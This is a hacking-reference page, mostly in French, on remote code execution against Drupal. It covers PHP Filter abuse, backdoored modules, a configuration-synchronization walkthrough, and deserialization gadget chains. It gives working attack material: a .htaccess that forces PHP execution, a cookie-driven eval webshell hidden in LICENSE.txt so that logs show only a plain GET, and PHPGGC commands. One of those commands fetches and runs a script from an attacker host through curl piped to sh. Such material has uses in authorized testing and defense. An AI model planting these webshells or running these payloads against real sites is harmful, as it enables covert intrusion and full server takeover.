Drupal RCE

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Avec le module PHP Filter

Warning

Dans les anciennes versions de Drupal (avant la version 8), il était possible de se connecter en tant qu’admin et d’activer le module PHP filter, qui “Permet d’évaluer des snippets/code PHP intégrés.” Mais à partir de la version 8 ce module n’est pas installé par défaut.

  1. Allez à /modules/php et si une erreur 403 est renvoyée alors le plugin PHP filter est installé et vous pouvez continuer
  2. Sinon, allez dans Modules, cochez la case PHP Filter, puis cliquez sur Save configuration
  3. Ensuite, pour l’exploiter, cliquez sur Add content, puis sélectionnez Basic Page ou Article et écrivez le PHP backdoor, puis sélectionnez PHP dans Text format et enfin cliquez sur Preview
  4. Pour le déclencher, accédez simplement au node nouvellement créé:
curl http://drupal.local/node/3

Install PHP Filter Module

Warning

Dans les versions actuelles, il n’est plus possible d’installer des plugins uniquement en ayant accès au web après l’installation par défaut.

From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.

  1. Téléchargez la version la plus récente du module depuis le site Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Once downloaded go to Administration > Reports > Available updates.
  4. Click on Browse, select the file from the directory we downloaded it to, and then click Install.
  5. Once the module is installed, we can click on Content and create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to select PHP code from the Text format dropdown.

Backdoored Module

Warning

Dans les versions actuelles, il n’est plus possible d’installer des plugins uniquement en ayant accès au web après l’installation par défaut.

Il était possible de download un module, d’y ajouter une backdoor et de l’installer. Par exemple, en téléchargeant le module Trurnstile au format compressé, en créant un nouveau fichier backdoor PHP à l’intérieur, permettant l’accès au fichier PHP via un fichier .htaccess :

<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

Puis aller à http://drupal.local/admin/modules/install pour installer le backdoored module et accéder à /modules/turnstile/back.php pour l’exécuter.

Backdooring Drupal with Configuration synchronization

Publication partagée par Coiffeur0x90

Partie 1 (activation de Media et Media Library)

Dans le menu Extend (/admin/modules), vous pouvez activer ce qui semble être des plugins déjà installés. Par défaut, les plugins Media et Media Library ne semblent pas activés, donc activons-les.

Avant l’activation :

Après l’activation :

Partie 2 (exploitation de la fonctionnalité Configuration synchronization)

Nous allons exploiter la fonctionnalité Configuration synchronization pour exporter (dump) et importer (upload) des entrées de configuration Drupal :

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

Commençons par modifier la première entrée allow_insecure_uploads de :

Fichier : system.file.yml


...

allow_insecure_uploads: false

...

Vers :

Fichier: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

Ensuite, modifiez la deuxième entrée file_extensions de :

Fichier : field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Vers :

Fichier : field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Je ne l’utilise pas dans ce billet, mais il est noté qu’il est possible de définir l’entrée file_directory de manière arbitraire et qu’elle est vulnérable à une path traversal attack (donc nous pouvons remonter dans l’arborescence du système de fichiers de Drupal).

Partie 3 (exploitation de la fonctionnalité Add Document)

La dernière étape est la plus simple et se décompose en deux sous-étapes. La première consiste à téléverser un fichier au format .htaccess pour exploiter les directives Apache et permettre que les fichiers .txt soient interprétés par le moteur PHP. La seconde consiste à téléverser un fichier .txt contenant notre payload.

Fichier : .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Pourquoi cette astuce est-elle intéressante ?

Parce qu’une fois la Webshell (que nous appellerons LICENSE.txt) déposée sur le serveur web, nous pouvons transmettre nos commandes via $_COOKIE et dans les logs du serveur web, cela apparaîtra comme une requête GET légitime vers un fichier texte.

Pourquoi nommer notre Webshell LICENSE.txt ?

Tout simplement parce que si l’on prend le fichier suivant, par exemple core/LICENSE.txt (qui est déjà présent dans le Drupal core), nous avons un fichier de 339 lignes et 17.6 KB, ce qui est parfait pour ajouter un petit extrait de code PHP au milieu (le fichier étant suffisamment volumineux).

Fichier : LICENSE.txt patché


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Partie 3.1 (téléversement du fichier .htaccess)

First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).

Partie 3.2 (téléversement du fichier LICENSE.txt)

Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.

Part 4 (interaction with the Webshell)

The last part consists of interacting with the Webshell.

As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.

When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.

And as you can see in the logs, it looks like only a txt file has been requested.

Thank you for taking the time to read this article, I hope it will help you get some shells.

Chaîne de gadgets dans Drupal core (SA-CORE-2024-007 / SA-CORE-2024-008)

Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.

Practical exploitation workflow:

  1. Find the unserialize sink (contrib module or custom code). Grep codebase for unserialize( or Drupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports.
  2. Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
  1. Acheminer le blob sérialisé vers le sink (p. ex., paramètre qui sera désérialisé). Pour un corps encodé en application/x-www-form-urlencoded :
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
  1. Déclencher la destruction (souvent automatique à la fin de la requête) et exécuter la commande.

Remarques pour les tests :

  • Le gadget ne fonctionne que sur les versions antérieures à 10.2.11 / 10.3.9 / 7.102 (patchées). Vérifiez la version cible via /core/lib/Drupal.php ou CHANGELOG.txt.
  • Les DB drivers tiers peuvent nécessiter un renforcement supplémentaire ; recherchez des déploiements qui ont manqué la fenêtre de mise à jour de sécurité.

Contrib-module récent unsafe deserialization → RCE

Plusieurs modules contrib ont corrigé des chemins unserialize() non sécurisés fin 2024. Si le site manque ces mises à jour, ils fournissent le sink exploitable requis par la core gadget chain :

  • Mailjet (<4.0.1, CVE-2024-13296) : des données contrôlées par l’admin sont passées à unserialize(), permettant PHP Object Injection → RCE lorsqu’elles sont enchaînées avec les core gadgets.
  • Eloqua (7.x-1.x < 1.15, CVE-2024-13297) : usage similaire non sécurisé de unserialize() accessible aux utilisateurs disposant de access administration pages.

Idée de test (authentifié) :

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import

Si le module désérialise les données téléversées, la chaîne de gadgets aboutit à une RCE. Combinez-le avec XSS/CSRF pour voler les cookies d’administration et obtenir une chaîne d’attaque complète.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks